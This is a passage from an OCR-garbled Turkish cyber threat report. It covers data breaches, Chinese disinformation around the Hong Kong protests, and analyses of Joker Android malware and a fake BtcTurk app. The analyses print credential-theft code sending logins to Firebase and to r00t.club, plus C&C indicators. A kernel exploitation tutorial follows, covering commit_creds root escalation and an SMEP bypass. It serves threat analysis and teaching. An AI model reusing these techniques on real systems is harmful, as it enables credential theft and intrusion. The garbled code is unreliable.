elektronik haberlesme yollaryla banka disina cikarttig
bilgisine yer verilmigstir.

Turkiye’de yayinlanan KVKK mevzuati ile sizinti yasa-
yan sirket, kurum ve kuruluglara yaptinrm ve ceza uy-
gulanabilecektir. S6z konusu veri ihlalinin ING Bank’in
internet sayfasinda ilan edilmesine karar vermistir. Artik
Turkiye’de de saldirlya maruz kalan sirket bunu bildir-
mekle yUkimludir. Bu uygulama diger sirketlerin bilgi-
lenerek ilgili saldirya karsi savunma gelistirmesine de
yardimci olacaktir.

8.5. Yapiimasi Gerekenler

Equifax sizintisinda, yama zamaninda yiklenmis olsay-
di, glvenlik acig sdmurtlmeden 6nce zafiyet kapatila-
bilirdi. Kisacasl, tUm bu sizintilar BT altyapisinin zama-
ninda denetlenmesiyle engellenebilirdi. Sonug olarak, bu
denetimler kiiglk veya blyUk &lcekli her sirkette diizenli
olarak yapilmalidir. Galisanlarin sirket verilerine yetki da-
hilinde ulagsmasi gerekmektedir.

Kigiler ise; parolalarini ve énemli bilgilerini (TCKN vb.)
her yerde paylasmayarak verilerini koruyabilirler.

Veri sizintilarinin  sonuglarina bakildiginda sirketlerin
maddi kayiplara ugradigi da goézlemlemistir. Artik bu ka-
yiplara devlet otoritelerinin kesecegi cezalar da eklene-
cektir. O nedenle Avrupa Birligi’nin GDPR ve Tirkiye’'nin
KVKK mevzuatlarinin kigisel veri bulunduran tim sirket-
lerce detayl incelenmesi ve buna gére 6énlemler alinmasi
gerekmektedir.

Kurumlarin glivenlik, yetismis insan kaynagi, sistem
denetimleri, kurum calisanlarinin saldin vektérlerine
kars! bilinclendiriimesi konularina yeterli kaynak ayir-
masina ihtiya¢ vardir. Ayni sekilde veri sizintisi dnce-
si, esnasl ve sonrasl i¢in eylem planlari hazirlanmasi
gerekmektedir.

9. HONG KONG - CiN iADE YASA TASARISI
9.1. Neler Yasandi

3 Nisan 2019 tarihinde Meclis’e sunulan ve mahkdm-
larin Cin’e iadesini kolaylastiran yasal dizenlemeler,
Hong Kong’ta protestolarin bagslamasina neden oldu.
Tasarida Cin, Tayvan ve Macau’daki yetkililerin cinayet
ve tecaviz gibi suglarla yargilanan stpheliler i¢in iade
basvurusu yapmasina izin verilmesi, son karari ise her
davay! 6zel olarak inceleyecek mahkemelerin vermesi
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6ngoriliyordu. Siyasi ya da dini suglardan yargilanan
kisilerin iade edilmeyecegi belirtiliyordu.

Hukumet, aldiklari hapis cezasi yedi yilin Gzerinde olan
mahkUmlarin iade edilmesi gibi bazi tavizler vererek ka-
muoyunun tepkilerini azaltmaya calisti ancak buyuk bir
kesimin, insanlarin Gin’in yarg! sisteminde keyfi g6z al-
tilara, adil olmayan yargilama sireclerine ve iskenceye
maruz kalacagindan endiselendigi gézlemlendi.

Tasar ilk olarak, gegctigimiz yil Hong Konglu bir ada-
min hamile kiz arkadasini Tayvan’da tatilde oldugu si-
rada 6ldirdiga iddialarinin ardindan giindeme gelmis-
ti. Tayvan’dan kagan siUphelinin Hong Kong’a dénmesi
Uzerine Tayvanl yetkililer iade talep etmisti. Hong Konglu
yetkililer ise iki Ulke arasinda bir iade anlasmasi olmadigi
gerekgesiyle bunu kabul etmediler.

Haziran ayinin basinda biyUk kalabaliklarin katiimiyla
gerceklesen yirlyUsler genel olarak bariscil gegiyordu.
Avukatlardan 6grencilere, is insanlarindan aktivistlere ve
dini gruplara kadar pek ¢ok kesimden insan katiliyordu.
Yaklasik bir hafta sliren sokak protestolarinin ardindan
Hong Kong lideri Carrie Lam, tasarinin askiya alindigini
duyurdu. Ancak tasarinin tamamen iptal edilmesi talebi
ile protestolar devam etti. Bunun Uzerine Carrie Lam bir
aciklama daha yaparak, yasanin “tartisma ve karsithk”
yarattigini ve “birgok vatandagi Uzerek hayal kirikligina
ugrattigini” séyledi ve 6zir diledi.

Protestolar Temmuz ayinda da devam etti. Bazi eylem-
cilerin yUrlyUtsun belirlenen bitis cizgisinden sonra da
eyleme devam etmeleri, Gin merkezi yénetiminin bina-
sina yumurta atmalari ve yazi yazmalarinin ardindan po-
lis ilk kez gbz yasartici gazla eylemcilere midahale etti.
Bu olaylarin ardindan evlerine dénen gdstericilere, Yuen
Long’daki tren istasyonunda beyaz tisért ve beyaz kaskli
kisiler sopalarla saldirdi. Saldinda 45 kisi yaralandi.

Agustos ayinda ise eylemciler, ATM’ler ve bankalardaki
bGtin paralarini gekip Amerikan dolarina gevirerek Gin
ydnetimini ve Hong Kong lideri Carrie Lam’1 protesto et-
meye basladi.

Tam bu olaylardan sonra Eylil ayinda Hong Kong Lideri
Carrie Lam yasanilanlarin herkesi derin bir zlntlye
bogdugdunu belirtti ve yasal diizenlemeyi geri ¢ektiklerini
acikladu.

9.2. Cin’in Sosyal Medya Yo6netimi

Cin tarafindan yonetilen sosyal medya hesaplari, Hong
Kong’daki protestolari 9 Haziran 2019 tarihine kadar
blylk élcide gbz ardi etti. Bu tarihten sonra ise devlet
tarafindan yUrutilen bazi sosyal medya hesaplari Gzerin-
den Hong Kong protestocularinin polise ydnelik sidde-
tiyle ilgili yazilar yayinlandi. Protestolar, “isyan” ve “kamu
dizeni sucu” olarak degerlendiriliyordu.

Temmuz ve Agustos aylarinda devlet tarafindan yoéne-
tilen sosyal medya hesaplarindan yapilan paylagim-
larin sayisi énemli élglide artti. Bunun; protestocularin
eylemlerine karsi Bati algisini etkilemek ve degistirmek
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amaciyla yapildigi degerlendirildi. Paylagimlarin asagida
listelenen tarihlerde arttigi gézlemlendi:

1 Temmuz: Protestocularin, Hong Kong Yasama
Meclisinin odalarina, sprey boyali grafiti ile zarar
vermesi.

27 Temmuz: Vatandaglarin, silahli adamlarin tahta ve
metal cubuklarla protestoculari dévdigi saldiriya
cevaben izinsiz bir protesto gdsterisi dizenlenmesi.
(Bu protesto sirasinda polis, protestoculara g6z ya-
sartici gaz ve plastik mermi att1.)

9 Agustos: Protestocularin, Hong Kong’un uluslara-
ras| havaalaninda gdsterilere baglamasi.

Paylagimlarin 14 Agustos 2019 tarihinde zirve yaptigi ve
protestolarin “radikal” ve “ terérizm” olarak tanimlandi-
g1 gorildi. Devlete bagh China Daily gazetesinde, bazi
Hong Konglularin muhalefet kanadinin ve onlarin yaban-
c1 muttefiklerinin oyununa geldigi, tasarinin uzun vadede
Hong Kong’u “suclular igin gavenli bir liman” olmaktan
¢ikaracagl ve her adil insanin tasariya destek vermesi
gerektigine dair ifadeler yer aldi. Cin tarafindan yénetilen
sosyal medya hesaplar Gzerinden;

Protestocularin hukukun Gstinligani baltaladigini,
Hong Kong polisinin siddetin kurbani oldugunu ve
orantili tepki verdigini,

Bati giiclerinin Hong Kong’a miidahale ettigini,

Bati medyasinin siddetin yalnizca bir tarafini gdster-
digini ve

Protestocularin Hong Kong’un ekonomisine zarar
verdigini belirten agiklamalarda bulunuldu.

Twitter, Facebook ve Google, Cin’i dezenformasyon
kampanyasi yurttmekle sugladi. Yapilan a¢iklamalarda,
dezenformasyon kampanyasiyla Hong Kong’daki pro-
testo hareketinin zayiflatiimasinin amaglandigini belirtil-
di. YUr(tllen operasyon kapsaminda;

Twitter; 936 hesabi sildi, 200 bine yakin hesabi askiya
aldl.

Facebook; 7 sayfayi, 3 grubu ve 5 hesabi kapatti.
Google, 210 YouTube kanalini kapatti.

Cin medyasi ise Google, Twitter ve Facebook-u, Hong
Kong-daki protestocularin siddet eylemlerinin ifsa edil-
mesini engelleyerek, basin 6zglrligune zarar vermekle
itham etti.

@ Chins Xintus RNows O

Some Western media have repeatedly turmned
a blind eyve to the violant and illegal acts
parpatrated by radical protesters in Hong

Kong. It's time that they get rid of bias and
show the world what's rﬁnlly Qﬂir1g on in
Hong Kong. Read the opinion piece: xbhr

Sekil 19: Basinda yer alan ifadeler.
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Bu kisimda STM Siber Flizyon Merkezimizdeki analistle-
rin yaptigi farkl zararli yazilimlarin davranis analizlerinin
sonugclari verilmektedir.

10. JOKER ANDROID ZARARLI YAZILIM
ANALIZI

Son haftalarda haberlestikleri domain isimlerine atifla
Joker zararllan olarak adlandirilan Android zararlila-
rn ortaya ¢ikmistir. Su ana kadar Google Play Store’da
10’un Uzerinde bu tir Android uygulamasi bulunmustur.
Tarkiye’yi de hedef alan zararlilarin genel hedefi, telefon
Uzerindeki rehber bilgileri, SMS bilgileri ve kisisel veriler
olmaktadir.

iki adimli bir saldin mekanizmas izlenmektedir. Birinci
adimda normal gérinimli bir uygulamayla Ulke kodu,
emulator kontroll, internet kontrolU gibi ikinci agamanin
on hazirliklar yapilmaktadir. Ardindan indirilen ikinci asa-
ma zararlisiyla veri zararl aktiviteler C&C’den (Komuta
Kontrol Sunucusu) gelen komutlar dogrultusunda
gerceklestiriimektedir.

10.1. Birinci Asama

Birinci asamada, ekran arka plan uygulamasi, fotograf
filtre uygulamasi gibi indirilmeleri 50 bin ve Uzeri olan uy-
gulamalarla ortam kontrolU yapilmaktadir.

Uygun ortam tespiti icin GSM operatériiniin Ulke koduna
bakilmaktadir. GSM kontrolli yapan metotta kod gizle-
mesi yapilarak islem gizlenmeye calisiimigtir.

o~ @ na L5 ) £
ATonding & & 0O -

“ :': R :,'j.f_ 'i:l' -

-

HOT FEATURES

Sekil 20: Zararli Uygulama ara ytzleri.
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Sekil 21: GSM operatéri kontrol(.

Sekil 22: Obfuscation uygulanmis Ulke kodlar (deobfuscation
sonrasl).

Ortam kontrolleri sonrasinda ikinci asama igin gerekli
uygulama indirip mobil cihaz Uzerinde ¢alistinimaktadir.

Sekil 24: ikinci Asama Uygulama indirme Fonksiyonu.

Birinci asamada uygun ortam tespiti yapildiktan sonra
ikinci asamaya gecilmektedir ve zararli davraniglar C&C
ile aktif hale getirilmektedir.

10.2. ikinci Asama

ikinci asamada calisan zararll éncelikli olarak calisma
aninda cesitli izinler istemektedir.

“android.permission. READ_PHONE _STATE", “android.permission.GET_ACCOUNTS™};

Sekil 25: ikinci Asamada Dinamik istenen Ornek izin.

Birinci asamada oldugu gibi obfuscation edilmis kodlar
mevcuttur. Bu kodlar, calisma aninda uygulama tarafin-
dan okunabilir hale getirilir.
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String a(String str) {

IIII:J :

kiut",

Sekil 27: Deobfuscation fonksiyon-2.

Zararl  aktivite cesitli sekillerde baglatiimaktadir.
Incelenen &rneklerde ekran tiklamasindan sonra zararli
aktivite galistigi gortlmektedir.

Sekil 28: Zararl aktivitenin baslatiimasi.

Komuta kontrol sunucusundan gelen komutlar dogrultu-
sunda zararl davraniglar gdsterilmektedir. Gelen istekler
dogrultusunda istenen bilgiler javascript ile C&C sunu-
cusuna génderilmektedir.

Builder si
'-:j [ i

Sekil 30: C&C IP.

Ag trafigi takibinde de cesitli sifreleme algoritmalar kul-
lanarak haberlesme saglanmaktadir.

Cipher instance = Cipher.getInstance("DES/CBC/ SPadding");

String ¢

Sekil 31: Sifreleme Algoritmasi.
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Kigisel bilgilerin yaninda, banka parolalari gibi kritik veri-
ler de calinmaktadir. iki agsama girisleri olan bankalar igin
de SMS ile gelen mesajda zararli uygulamayla C&C’ye
iletilebildigi gérulmustar.

Sekil 32: SMS Calan Fonksiyon.

Yapilan incelemeler sonucunda, saldirn vektoérl olarak
artik tek bir uygulama yerine birden fazla uygulamanin
kullanildigi ve saldirilarin iki asamali olacak sekilde ger-
ceklestirildigi gorilmektedir.

10.3. I0C ve C&C IP Listeleri

Zararl Uygulamalar

Zararh Uygulamalar

T D Ignite Clean Leaf Face Scanner
Wallpaper
Age Face Climate Wallpaper Mini Camera

Altar Message

Antivirus Security

Security Scan
Beach Camera

Board picture
editing

Certain Wallpaper
Climate SMS

C&C IP Listesi

Collate Face
Scanner

Cute Camera

Dazzle Wallpaper

Declare Message
Display Camera

Great VPN

Humour Camera

1 http://joker2.dolphinsclean[.Jcom/

2 http://beatleslover[.Jcom/
3 http://47.254.144][.].154/
4 http://3.122.143].].26/

Print Plant scan

Rapid Face
Scanner

Reward Clean
Ruddy SMS

Soby Camera

Spark Wallpaper

Google Play Store’da artik bulunmayan bu yazilimlar
eger telefonlarda yer aliyorsa silinmesi gerekmektedir.
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11. BtcTurk SAHTE UYGULAMA ANALIzi

Tarkiye'yi deki kripto parayl hedef alan zararlinin genel
hedefi, telefon uygulamasi araciligiyla kullanicinin kripto
para hesaplarini elde etmeye calismaktadir. Uygulama
orijinaline benzemektedir ve iki asamaya sahiptir. ilk asa-
mada kullanici bilgileri alinarak ikinci asamada bilgiler
ifsa edilmektedir.

11.1.

Uygulama Hakkinda Bilgiler

Sekil 33: Apk Bilgileri

Sekil 33’te dosya hakkinda genel bilgiler bulunmaktadir.
Uygulama c¢alistirldigi zaman karsimiza ¢ikan ve BtcTurk
kullanici bilgilerini isteyen ekran asagidaki gibidir (Sekil
34). Calistirmadan énce uygulama telefonunuzdan yetki
istemektedir ve aktiflestirildikten sonra ¢alistinimaktadir.

3
, BtcTurk

Giris Yap

E-posta

Sifre

Girig Yap

Gizlilik Sartlan

Sekil 34: Uygulamanin giris ekrani
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E-posta ve sifre bdliminde rasgele verilerle test
yapilmistir;

Ornek e-posta: test@gmail.com
Sifre: Test123*

Bu ilk asamadan sonra inandiriciigi artirmak igin iki
asamall dogrulama sistemi Sekil 35°teki gibi karsimiza
¢cilkmaktadir.

BtcTurk

Gilvenliginiz igin iki asamali dofjrulama
zorunlu tutulmaktadir. SMS dogrulama
ya da Google Authenticator kullanarak
hesabiniza giivenli giris yapabilirsiniz.

Sekil 35: ki Asamali Onay Ekrani

Dogrulama kodu icin rasgele kosulu saglayacak bir kod
girmeniz yeterli olacaktir. Bu kisim sadece inandirici-
lik kazandirmak amaciyla yapilmis 6zel gelistiriimis bir
onaylama kismidir.

o\
;; BtcTurk

Uygulama gegici olarak
bakima alinmigtir, litfen kisa
bir slire sonra tekrar deneyin.

Sekil 36: Uygulama Uyari Ekrani

Daha sonra uygulamanin gegici olarak bakim-
da oldugu gosterilerek Sekil 36’deki gibi uygulama
sonlandiriimaktadir.

SIBER TEHDIT DURUM RAPORU
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.android.

Sekil 37: Uygulama Yetkileri Listesi

11.2. Uygulama Analizi

AndroidManifest.xml dosyasi icerisinden yetkileri kont-
rol edebiliriz.

Sekil 37°de goruldigu Uzere dosya “android.permissi-
on.INTERNET” yetkisi bulundurmaktadir. Bu yetkilen-
dirme uygulamada internet kullanmasini saglamaktadir.
Buradan anlasilabilecegdi gibi buradaki yetkiyle internete
cikis yapiimaktadir.

Decompile edilmis kodlar analiz edildiginde Sekil 38’de
yer alan sinif diyagramlarina ulasiimaktadir:

» f android
v B com
¥ i app.elipticsoft.app
> % BuildConfig.class
M@?m?f_
» i MainActivity.class
» T MLService.class
» fan PrivacyPolicyActivity.class
» b R.class
[ 3
[

s TwoFactor.class

s Welcome.class
» g1 apptakk.http request
» f3 google

Sekil 38: Fonksiyon Listesi

Burada kullanilan fonksiyonlarin a¢ik bir sekilde bulun-
masi, asil amacin ne oldugu konusunda bilgi vermekte.
LoginForm fonksiyonu Sekil 39’da gésterilmektedir.

ks 1ns{Lezisfary thds riiaclicatsncontin (. etFackagetane h bl

e lidinal | Lioter. o

ptaine. gt estl
0. qrtieglicatiarConberti ), “Setwrast ¢-ponta érwed, 9).sbevlh

et LogioFoen 1. passeped get et
thin. etacg s eatiantonbart| ), “Seppsis

Sekil 39: Login Fonksiyonu igerigi

SIBER TEHDIT DURUM RAPORU

Oncelikle kullanicidan bildirimler igin Sekil 40’ta gds-
terilen izinler alinmakta ve daha sonra e-posta ile sifre
istenmektedir.

Maotification sccess

'@‘ Pixsl Laurcher [ ]
4 h

Sekil 40: Bildirim izin Ekrani

Uygulama e-posta kontrolini sadece “@” ve “.com
kisimlarini inceleyerek yapmaktadir. Parola kontroli ise
sekil 41°de gosterildigi gibidir.

Sekil 41: Parola Kontrol Kod Parcgasi

Uygulamada ilerlemek icin regex kontrolinu karsilayacak
parola girilmesi yeterli olacaktir. Basit bir sekilde “Aail”
parolasi ile regex kontroll atlatiimaktadir. Uygulamanin is-
tedigi kosullan saglayacak mail ve parola girildikten sonra
“two factor authentication” kismi ekrana gelmektedir.

Kodun igerisinde bulunan “save” fonksiyonu Sekil 42’de
gosterilmektedir. Bu fonksiyon alinan verileri belli bir for-
mat altinda firebase icine atmaktadir.

private woid Savel) [
StringBuilder stringDuilderl - new StringBuilder(});
stringBuilderl.append( "LUGIN == ~);
stringBuilderl.append(this.username.qetText().toString(});
stringBuilderl_append("|"}:
stoingBuilder 1 append (Lhis_password getText (). toSiring()):
String str = stringRuilderl.toString(}:
[irebaselatabase firebaseDatabase - this.db:
StringBurlder stringBuilder? - new StringBuilder(}):
stringduilder?.append( “logs/");

stringBullder2. append getResources() . qetstring (2131427358} );
slringBuilder? append("/"}:

stringBui Tder 2 _append (Gel TMET() ) :

stringRuilder? append (" /1 OGTN/" )

stringDuilder2.append( (new Datel]).getTime(}):
tircbaseDatabase.getReterence(stringBuilder?. toString() }.setValuelstr);
HttpGet()

Sekil 42: Save Fonksiyonu igerigi
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Sekil 43’te gosterilen “HttpGet” fonksiyonunda ise GET
parametresiyle “http://r00t.club/api.php” adresine istek
atilmaktadir.

private void Hitpieti} {
stringBuilder stringBuilder = new StringBuilderi)
stringBuilder. append|getfesourcesi ). qet tr 1rgi1111-12'.l'.15'.‘l
stringduilder.append! "/ apl.phpiapp="
s'trlnqﬂuld Jappend| [I qet!ﬁ 1rg[zuM£ 33l 3]?
I I -kl B HH[N ;[ tringfutldir . oSt
I d \lllill : pa rlmH!I;P spansed { int
) emecute(n u«v dl-:l]l

mgil, "GETT), mew HI

gt kH!Q]g ||| s} {
1 = paranlHttpRre: p

private void savel) {
Sekil 43: HttpGet Fonksiyon icerigi
>>> hex(2131427357)

‘0x7f0b001d’

api_base ‘i gbstermektedir. api_base ise Sekil 44’te
gOsterilmektedir.

~Share with Xs</string>

nable

lb won twol- unless you en

Play s

common_goosgle_play_services enable title”sEnsble Coogle Play services<)

Sekil 44: String Kontrol Tablosu

Curl istegi;

curl -l http://r00t.club/api.php\?app\=BtcTurk
HTTP/1.1 307 Temporary Redirect

Location:http://88.255.216.16/landpage?op=2&m-
s=http://r00t.club/api.php?app=BtcTurk

Web sayfasi 45'te

verilmektedir.

icin virls total sonucu Sekil

Sekil 45: Viris Total Ekran Gorlntlsu

Koddaki “HttpGet()” fonksiyonu tam olarak sadece istek
attigi igin uzak sunucu Uzerinde ¢alistirilan php koduyla
yazilan kullanici bilgileri ¢cekilebilecegi dustiniimektedir.
ilgili domain adresi USOM tarafindan kapatilmistir.
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12. LINUX CEKIRDEK iSTISMAR KODU
GELISTIRME VE CVE-2018-2844 ZAFIiYET
ANALizi

Linux igletim sistemindeki zafiyetler cogunlukla yikle-
nebilen modiiller lizerinde bulunmaktadir. istismar kodu
gelistirirken asil amag¢ normal bir kullanicidan yetkili bir
kullaniciya yUkselmektir. Diger bir deyisle kdk kullanici
kabugu (shell) elde etmektir. Shell elde etmek icin mev-
cut istismar kodlar kullanilabilecegi gibi sifirdan istismar
kodu da gelistirilebilir.

istismar kodu gelistirmek igin gelistirici ortamina ihtiyac
vardir. Gelistirici ortami ¢ekirdek kodunun ayiklanmasi
esasina dayanir. Cekirdek kodu ayiklanirken genel olarak
QEMU kullaniimaktadir. QEMU daha diisiik seviyede ca-
lisiyor olmasindan ve farkli mimarileri simtle edebildigi
icin tercih edilmektedir.

12.1. Modiillerin QEMU Uzerine Yiiklenmesi

c timeout 128 \
-system-x86 64 \

-ipitrd

-append

anic panic=l kaslr" \

e e1680 %
2,threads=2 \

-monitor /dev/null 2-/dev/null

Sekil 46: Qemu icin Gekirdek imajini Yiikleyen Kod

Sekil 46’daki kod parcasiyla Linux ¢cekirdegi QEMU igine
kolayca yuklenebilir. Bu komutlara gecilmeden énce bi-
linmesi gereken bazi tanimlar agagidaki gibidir.

bzlmage: Linux igletim sistemi imaji, Linux Cekirdek
kodlarn burada tutulur.

core.cpio: Linux dosya sisteminin tutuldugu yerdir.
vmlinux: Linux Gekirdek calistirabilir dosyasi olarak
bilinir. Aslinda bzlmage dosyasiyla ayni verileri icerir.
Tam uygun gadgetlar cikarilabilir.

gemu-system-x86_64: x86_64 mimarisini kullandi-
gini gosterir.

Sekil  47°de  kullanilabilecek mimariler

gosterilmektedir.

diger

Sekil 47: Qemunun Destekledigi Sistem Bilgileri
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http://r00t.club/api.php

TEMMUZ-EYLUL 2019

-m: bellek kisitlamasi

-kernel bzlmage: bzimage'i Cekirdek imaji olarak
kullandigini g&sterir.

-append: KASLR korumasinin aktif olacagini gosterir.
-nographic: Konsol ekrani Uzerinden caligir.
-cpu kvm64,smep: SMEP korumasi aktiftir.

Eger bash koduna “-s” parametresi eklenirse, gdb icin
1234 portu acllir ve daha sonra debugger icine ekleyerek
kolayca analiz edilebilir. Gdb ile Cekirdek analizi QEMU
Uzerinden yapilmak isteniyorsa root olarak baslatmak
gerekir. Bu ylzden “/init” veya “/etc/init.d/rcS” yeniden
yapilandiriimalidir.

#sh
#setsid cttyhack setuidgid 1000 sh

setsid /bin/cttyhack setuidgid 0 /bin/sh = komutu ile
root yetkisi kazanilr.

Sekil 48: Qemu icinde Calisan imaj

cpio dosyasini agmak i¢in siraslyla uygulanmasi gereken
adimlar asagidaki gibidir.

mkdir test

cd test

cpio -idm < ../rootfs.cpio

bin dev ek lib lib64 media mnt
opt proc roat run shin sys Emp
usr var Flag gnote ko init linuxre

Sekil 49: Cpio Dosyas! igindeki Dosyalar

Test dosyasi icerigi, bu dosya iceriginde gerekli degisik-
likler yapildiktan sonra tekrar sikistiriimalidir.

Tekrar sikistirmak icin komut;

find . -print0 | cpio --null -ov --format=newc > ../new.
cpio

SIBER TEHDIT DURUM RAPORU
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Bzlmage dosyasi Sekil 50’de gésterilmektedir;

Sekil 50: File Komutu

Bu dosya Uzerinden debug sembollerini ve uygun ga-
dgetlar kullanabilmek icin vmlinux dosyasini ¢ikartmak
gerekir.  https://github.com/torvalds/linux/blob/master/
scripts/ extract-vmlinux adresindeki script vmlinuxu ¢i-
kartmaya yardimci olur.

Eger dosya lizerine yazilmazsa sadece ham veri olarak
¢ikti vermektedir.

Jextract-vmlinux.sh bzlmage > vmlinux

Daha sonra basta verilen script calistirlarak gdb aracili-
giyla baglanti saglanabilmektedir.

Sekil 51: Pwndbg icerisinde Yiiklenmis Mod(il Ekrani

Uygulamali érnek géstermek adina bir challenge kulla-
nilmistir. Her zaman vmlinux dosyasina ihtiya¢c olmaya-
bilir. Ayni zamanda ¢ekirdekle baglanti saglandigi zaman
farkll hatalar alinabilir (birgok hata géz ardi edilebilir).
Tavsiye edilen vanilla gdb veya pwndbg python modult
tercih edilmektedir. Aksi durumda diger moddllerde yan-
lis calisan bircok sey olabilir.

Ornek;

Gef Modiilti vmmap ciktisi $ekil 52°de gdsterilmektedir
(bu 6rnekle section’lar gériinmemektedir).

Sekil 52: Hatall Kesit Ekrani
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Pwndbg Modiilii vmmap c¢iktisi Sekil 53’de gdsteril-
mektedir (bu 6rnekle section’lar gériinmektedir).

Sekil 53: Pwndbg igindeki Bellek Bélgelerinin Listesi

Moddlleri kontrol etmek igin kullanilan komutlar Sekil
54’te aktanlimistir. Hata ayiklama iglemi baglamadan
once mutlaka modul yuklenmis olmalidir. Daha sonra
cekirdek modulu ayiklanabilir.

Size Used by Tainted: P

16384 ©

/ ##insmod <modeule.ko>
/ # #insmod <module.ko>

/ # 1

Sekil 54: Yikleme ve Listeleme Komutlari Kullanimi

Ismod: modiilleri listeler

insmod: modull yiklemeye yardimci olur
modinfo name: modul hakkinda bilgi verir
rmmod name: moduli siler

12.2. Linux Cekirdegi Kisaca Neleri icerir?

Sire¢ Yoénetimi

Bellek Yoénetimi

Dosya Sistemi

Cihaz Kontrol

Ag

Girdi/Cikti igslemlerinin yonetimi
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Zafiyet aramaya Oncelikle kullanici ve cekirdek iletisi-
mini saglayan noktalar tGzerinden baslanmalidir. Ancak
birgok atak yiizeyi vardir. Ornek vermek gerekirse sirii-
cller, ioctl , /proc ve sanallastirma baslangic noktalari
olarak deg@erlendirilebilir. Dikkat edilmesi gereken bir di-
ger husus ise ¢ekirdek alani ve kullanici alani API’leridir.
Cekirdek alani ve kullanici alani API’leri birbirinden fark-
lidir. Oncelikle cekirdek modiilleri hakkinda Sekil 55’teki
gibi detay bilgi veriimektedir.

Ornek modiil kaynak kodu;

Sekil 55: Ornek Modiil Kod Parcasi

Cekirdek alaninda yazilan kodlar ile kullanici alaninda
yazilan kodlar birbirinden ¢ok farklidir. Sekil 10’daki kod
Uzerinden incelemek gerekirse init ve exit fonksiyonlari
__init ve __exit olarak g&sterilmigtir.

Bu fonksiyonlari module_init ve module_exit kullanarak
kaydetmek gerekir. Daha sonra cikti olarak Hello, world
2 ve Goodbye, world 2 yazisi basilacaktir. Printf yerine
printk fonksiyonu kullanilacaktir. Benzer sekilde kullanici
alaninda yazdiginiz birgok fonksiyonun karsiligi vardir.

proc: Proc dosya sistemi, sistem bilgilerini gésteren
ozel bir birimdir.

ioctl: Kullanici ile cihaz arasindaki iletisimi saglar.
Girdi ve cikti kontroll ioctl araciligi ile saglanir.

- loctl cihazi degistirmeye yardimci olur.

Kullanici alani hafiza bélimleri ve ¢ekirdek alani hafiza
bélumleri birbirinden farklidir ve farkli izinlere sahiptir.
Bu ylUzden farkl alanlara gegcmek igin baz talimatlara
intiyac vardir. Yine kullanici alanindan ¢ekirdek alanina
gecmek icin bazi kullanici syscall degerlerine ihtiyag du-
yulur. Gekirdek strimu igin syscall olarak distnilebilir.
Kullanici alanina erismek icin genelde iki farkl talimati
yerine getirmek gerekir. Bunlar; swapgs ve iretq’dur.

swapgs: GS taban kayit (base register) degerini MSR
adresinde yer alan degerle degistirir.

ireq: Kullanici alanina gétardr.
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Yigin (stack) géruntist Sekil 56’da gosteriimektedir.

T
* RIP
T e
nEn * = kod bolimleri
ST

* EFLAGS * = sistem durumu igin bayraklar
* ook Ak

= talimat adresi

yigin isaretcisi
y1gin bolimi
EEFFF R FF 'Ji

Sekil 56: Buyruk Gruplari ve Anlamlari Gegersiz kaynak belirtildi.

12.3. Kok Yetki (root user) Kazaniimasi Siireci

Bir sekilde ¢ekirdek akisi kontrol ediliyorsa, ¢ekirdek ala-
ninda mevcut islem ayricaligi degistirilerek kok kullanici
yetkisi kazanilir. Mevcut bir yapi vardir ve bu yapi Uzerin-
de “task_struct” icinde iglem verileri tutulur.

s_error:1;

Sekil 57: Struct Yapi Ornegi Gegersiz kaynak belirtildi.

Bu tutulan anlik iglem verileri “current” isaretcisi ile gés-
terilmektedir. “Current” isaretgisi icindeki “cred” degeri
“euid” bdlgesini kontrol etmek igin kullanilir. Yani “cur-
rent->cred->euid” degderini “0” olarak degistirilirse mev-
cut islem kok yetkisine sahip olur.

Bunu her seferinde hesaplamak yerine asagidaki komut
kullanilarak kok yetki saglanir;

commit_creds(prepare_kernel_cred(0));

12.4. Gekirdek Uzerinde Koruma Yéntemleri
Hakkinda Bilgiler

NX: Stack calistirlabilir degildir.
Stack Canary: Buffer (tasma) korumasi.

KASLR: Sistem her baslatildiginda ¢ekirdegin yukle-
me adresi degisir ve “Kernel Address Space Layout
Randomization” olarak bilinir.
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thimkktech

STM Teknolojik Diisiince Merkezi

N

12.4.1. Cekirdek Adres Géruntileme
Kisitlamasi

Tum adres ve sembolleri gbstermek igin “/proc/kallsy-
ms” bir dizin bulunur. Ancak bu degerleri saklamak icin
“/proc/sys/kernel/kptr_restrict” degeri asagidaki kodla
aktive edilebilir;

echo 2 > /proc/sys/kernel/kptr_restrict

echo 0 ciktisi (Sekil 58);

# cat /proc/kallsyms | gFep prepare_kernel_cred
fffffffb5a69fe® T prepare_kernel_cred

# 1
Sekil 58: Kallsyms Gorlntlileme

echo 2 ciktisi (Sekil 59);

# cat /proc/kallsyms | grep prepare kernel cred

nﬂ@ﬂi@@o@ﬂo@@@@e T prepare_kernel_cred
#

Sekil 59: Kallsyms Gorlntlleme

12.4.2. SMAP / SMEP

Acllimlan sirasiyla Supervisor Mode Access Prevention
ve Supervisor Mode Execution Prevention’dir. ARM ta-
banli sistemlerde PXN ve PAN olarak bilinir. Gekirdegin
kullanici alani igerigini okumasini ve calistirmasini en-
geller. Asagidaki komut ile aktive olup olmadigi kontrol
edilebilir.

cat /proc/cpuinfo

12.4.3. Adres Korumasi

Sifirdan baslayan bellek adresini kullanarak cekirdegi
yasaklar.

| # cat fproc/sys/vm/mmap_min_addr

Sekil 60: Mmap_min_addr Goruntlleme
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12.4.4. KPTI (Kernel Page-Table Isolation)

Kullanici alaninda programlar calistirildi§i zaman Linux
cekirdegi bellegin sayfa tablolarinda eslenmesini saglar.

Aktif olup olmadigini kontrol etmek icin kullaniimasi ge-
reken komut Sekil 61’de gosterilmektedir;

# dmesg | grep "Kernel/User"

Kernel/User page tables isolation: enabled

#

Sekil 61: KPTI goriintiileme

12.5. Bazi S6miirme Metotlan

12.5.1. ret2user

SMEP aktif degilse kullanilir. Bu durumda ¢ekirdek ala-
nindan kullanici alanina kod calistirilabilir. Belli bir bélge
icinde “commit_creds(prepare_kernel_cred(0))” kabuk
kodu araciigiyla cagirilarak kullanilr.

12.5.2. SMEP Atlatma

SMEP korumasi varsa CR4 kaydinin 20’inci biti 1 olarak,
21’inci biti de 1 olarak gésterilir. Bunu atlatmak icin “rop”
yontemi kullaniimaktadir. CR4 kaydini sihirli deder olan
“Ox6f0” ile degistirerek SMEP korumasini atlatmis olu-
ruz.Gegersiz kaynak belirtildi.

12.5.3. Cekirdek Adres Gériintiileme
Kisitlamasi

Cekirdek adres sizintisi elde edilmesi gerekmektedir.

12.5.4. Double Fetch:

Kullanici ¢ekirdede eristikten sonra verileri degistirme
yéntemidir.

12.6. CVE-2018-2844 ZAFIYETI (Derleyici
Optimizasyonu lizerinden Kod Calistirma)

